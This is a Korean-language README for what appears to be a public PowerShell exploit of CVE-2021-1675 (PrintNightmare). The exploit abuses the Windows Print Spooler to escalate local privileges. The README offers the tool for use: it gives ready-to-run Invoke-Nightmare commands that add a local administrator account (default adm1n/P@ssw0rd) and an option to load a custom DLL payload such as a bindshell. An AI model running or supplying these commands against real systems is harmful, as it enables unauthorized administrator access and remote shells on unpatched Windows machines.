
Print Spooler를 통해 로컬 관리자 그룹에 사용자를 추가하여 로컬 권한 상승을 수행하는 CVE-2021-1675(PrintNightmare)용 PowerShell 익스플로잇.
Caleb Stewart | John Hammond | 2021년 7월 1일
CVE-2021-1675는 "PrintNightmare"라고 불리는 치명적인 원격 코드 실행 및 로컬 권한 상승 취약점입니다.
원격 코드 실행 기능에 대한 개념 증명(PoC) 익스플로잇이 (Python, C++)로 공개되었으며, 로컬 권한 상승용 C# 버전도 공개되었습니다. 순수 PowerShell로 작성된 네이티브 구현은 본 적이 없었기에, 이 익스플로잇을 개선하고 재구성하는 작업에 도전해 보고 싶었습니다.
이 PowerShell 스크립트는 PrintNightmare 공격 기법을 사용하여 로컬 권한 상승(LPE)을 수행합니다.

이 스크립트는 Windows Server 2016 및 Windows Server 2019에서 테스트되었습니다.
기본적으로 로컬 관리자 그룹에 새 사용자를 추가합니다:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
원하는 다른 작업을 수행하려면 사용자 지정 DLL 페이로드를 제공하십시오.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"